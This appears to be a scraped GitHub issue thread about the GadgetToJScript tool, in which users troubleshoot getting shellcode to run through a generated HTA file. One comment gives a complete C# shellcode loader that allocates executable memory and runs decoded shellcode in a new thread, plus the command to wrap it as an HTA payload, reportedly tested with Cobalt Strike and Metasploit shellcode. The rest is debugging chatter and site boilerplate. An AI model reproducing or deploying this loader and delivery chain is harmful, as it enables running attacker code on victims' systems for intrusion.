Comments (4)
Hi,
Not sure which part is missing on your side, but the steps/Poc below worked for me;
- Compile this to a DLL (x86) (i used CS x86 stageless shellcode);
using System;
using System.Runtime.InteropServices;
namespace CreateThread
{
public class Test
{
public Test()
{
ok();
}
public static void ok()
{
byte[] sh = Convert.FromBase64String("cat shellcode.bin | base64");
UInt32 addr = VirtualAlloc(0, (UInt32)sh.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(sh, 0, (IntPtr)(addr), sh.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr p = IntPtr.Zero;
hThread = CreateThread(0, 0, addr, p, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}
- GadgetToJScript4.x.exe -w hta -b -a C:\Test\CreateThread.dll -o test.hta
from gadgettojscript.
How strange, unfortunatley I do not have CS to test it with but tested it with a whole range of shellcodes from msf and other popular C2's + simple shellcodes in net to write a message to desktop and nothing. They all work in the c# exe/dll without any problem just not with G2J.
Sure I will spend the next few weekends banging my head against a wall only to find out it is something very simple! Thanks for the reply... fingers crossed I figure out what is wrong on my end :)
from gadgettojscript.
Tested the same PoC above with MSF shellcode & it worked.
Maybe the issue you're dealing with has to do with WScript/CScript or Mshta handler in use; #4 (comment).
Or could be related to the build configuration you used for building G2JS (x86, x64) and .NET framework you (possibly) retargeted the project to.
I hope this helps.
from gadgettojscript.
Hi med0x2e,
Thanks for all your help with this. For some strange reason nothing is working for me but now I know it does work, time for some more manual debugging. Probably will end up being something silly that has stopped it all along. Thanks again!!! :)
from gadgettojscript.
Related Issues (14)
- bugs!!!! HOT 1
- how to pass custom data or use functions like dotnettojscript HOT 1
- hta not working on Windows 7 HOT 2
- It doesn't work on Windows Server 2008 R2 HOT 1
- calc.exe payload not working HOT 5
- issues compiling HOT 3
- DisableTypeCheckGadgetGenerator technique questions HOT 1
- Binaries not working HOT 7
- Unsafe Code HOT 6
- Not working correctly HOT 2
- Not Working with Windows Forms Applications HOT 4
- Not working HOT 1
- Reference error CS0234 HOT 2
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from gadgettojscript.